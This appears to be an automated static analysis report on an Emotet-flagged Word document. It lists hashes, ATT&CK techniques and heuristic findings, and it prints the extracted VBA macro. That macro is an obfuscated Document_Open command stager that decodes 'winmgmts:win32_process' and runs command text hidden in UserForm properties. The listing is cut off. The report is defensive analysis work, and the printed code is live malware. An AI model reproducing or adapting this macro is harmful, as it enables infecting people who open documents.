Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 4fb48c4470b91f0d…

MALICIOUS

Office (OLE)

226.4 KB Created: 2020-08-11 06:13:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: bf091efc98b67be7455b8432bac49413 SHA-1: e62e03948010af2b67b8157dbef25b7082f95afa SHA-256: 4fb48c4470b91f0d568f2a5ee4f00f791ad274c0132f4e1c5c52fdb0085eeaef
302 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for Emotet. The macro utilizes CreateObject and appears to be a command stager, likely intended to download and execute a second-stage payload. The ClamAV detection also strongly suggests Emotet.

Heuristics 8

  • ClamAV: Doc.Malware.Emotet-9264114-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9264114-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4280 bytes
SHA-256: 2d93f56d4e1209842e3c776ed024afe3ac766394eba69debd1798e5dcabaf464
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "YMTXVyvfdkpv"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
EMULUsvvhstn.QGYKMwfonnzgnxk
End Sub


Attribute VB_Name = "EMULUsvvhstn"
Attribute VB_Base = "0{A41CE6F4-98C9-4398-80F9-185EA7E18214}{CC2DB592-B8D2-4420-8EC7-9AC86D1A1C66}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function QGYKMwfonnzgnxk()
Dim AFH As Integer
AFH = 3
Do While AFH < 3 + 3
AFH = AFH + 2: DoEvents
Loop
Dim SkQD As Currency
OJBPEzttyciqlbs = EMULUsvvhstn.Zoom
Dim PFGLM As Integer
PFGLM = 4
Do While PFGLM < 4 + 4
PFGLM = PFGLM + 3: DoEvents
Loop
UFAEUyftvtoos = ChrW(OJBPEzttyciqlbs + ((30 + 60 + 30) / (4 + 4)))
Dim p1Èck3ÃQU As Date
ZTDOKfcmymuqqmbjdo = "920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhw920jG&2(nbsjg uiyqGb2234%42bjhi920jG&2(nbsjg uiyqGb2234%42bjhnm920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhgm920jG&2(nbsjg uiyqGb2234%42bjht920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh" + UFAEUyftvtoos + "920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh:920jG&2(nbsjg uiyqGb2234%42bjhw920jG&2(nbsjg uiyqGb2234%42bjhin920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh3920jG&2(nbsjg uiyqGb2234%42bjh2920jG&2(nbsjg uiyqGb2234%42bjh_920jG&2(nbsjg uiyqGb2234%42bjh" + EMULUsvvhstn.IXHHUwxczfshyt + "920jG&2(nbsjg uiyqGb2234%42bjhro920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhce920jG&2(nbsjg uiyqGb2234%42bjhs920jG&2(nbsjg uiyqGb2234%42bjhs920jG&2(nbsjg uiyqGb2234%42bjh"
Dim tqSQH3Í As Integer
tqSQH3Í = 3
Do While tqSQH3Í < 3 + 6
tqSQH3Í = tqSQH3Í + 6: DoEvents
Loop
GYMPTpdpepnfdxou = LERGDehuxjsi(ZTDOKfcmymuqqmbjdo)
Dim JtF1ÔVIsgfW As Variant
Set SFOQJvgzhnadddazq = CreateObject(GYMPTpdpepnfdxou)
Dim r4ÖKHihX As Integer
r4ÖKHihX = 9
Do While r4ÖKHihX < 9 + 5
r4ÖKHihX = r4ÖKHihX + 7: DoEvents
Loop
QIIUVpfemylss = EMULUsvvhstn.GZJHKtyulcfiakjyo.ControlTipText
Dim aKHZFGTowB As Currency
IHIJDgiyxeiohkbvs = m2m3b5 + (GYMPTpdpepnfdxou + UFAEUyftvtoos + EMULUsvvhstn.TOGKTfqkyfpofowfh.ControlTipText + QIIUVpfemylss)
Dim fIspInaCW As String
AHALNrijrqmxswzlsd = IHIJDgiyxeiohkbvs + EMULUsvvhstn.IXHHUwxczfshyt
Dim n8ÈRMOqNXp As Integer
n8ÈRMOqNXp = 4
Do While n8ÈRMOqNXp < 4 + 4
n8ÈRMOqNXp = n8ÈRMOqNXp + 1: DoEvents
Loop
Set HRFJLxrbsqpxprryt = HQUUDhsujeppix(AHALNrijrqmxswzlsd)
Dim K0ÏyYuGKEqS As Currency
pppp1n1b = Array(ns123v4 + "jbjksgui qguw egq wuieg qbnmasm", SFOQJvgzhnadddazq. _
Create(BZIRWugzqyka, YAIAWhshommfyulf, HRFJLxrbsqpxprryt), masb1 + ",jha ghauig qugq bbbs")
Dim LRhpI5ÓslYA As Double
End Function
Function BZIRWugzqyka()
n21bh3 = EMULUsvvhstn.OHYEJetekews.Pages(vbOK).Caption
BZIRWugzqyka = LERGDehuxjsi(n21bh3)
dgKyIcWY = 7
Do While dgKyIcWY < 7 + 1
dgKyIcWY = dgKyIcWY + 1: DoEvents
Loop
End Function
Function HQUUDhsujeppix(UZDFToqnxmzpqvwzrjz)
Dim AFH As Integer
AFH = 3
Do While AFH < 3 + 3
AFH = AFH + 2: DoEvents
Loop
Dim SkQD As Currency
Dim PFGLM As Integer
PFGLM = 4
Do While PFGLM < 4 + 4
PFGLM = PFGLM + 3: DoEvents
Loop
Set HQUUDhsujeppix = CreateObject(UZDFToqnxmzpqvwzrjz)
Dim WbU1Ïq As Integer
WbU1Ïq = 1
Do While WbU1Ïq < 1 + 4
WbU1Ïq = WbU1Ïq + 1: DoEvents
Loop
HQUUDhsujeppix. _
showwindow = LWORNtdhspiryj + QLAESezwmmwu
Dim UMbU As Object
End Function
Function LERGDehuxjsi(XMAMTqmkxgfgnnlxxsj)
SWNRTihbymjlxb = XMAMTqmkxgfgnnlxxsj
Dim ZvdC As Currency
PURCXhdsbymeyfig = Split _
(SWNRTihbymjlxb, "920jG&2(nbsjg uiyqGb2234%42bjh")
Dim Hih4å As Integer
Hih4å = 5
Do While Hih4å < 5 + 7
Hih4å = Hih4å + 6: DoEvents
Loop
CTTTVwpugwczzdyf = mmm2 + Join(PURCXhdsbymeyfig, msnj2)
Dim r4áAANisy As Integer
r4áAANisy = 4
Do While r4áAANisy < 4 + 5
r4áAANisy = r4áAANisy + 6:
... (truncated)

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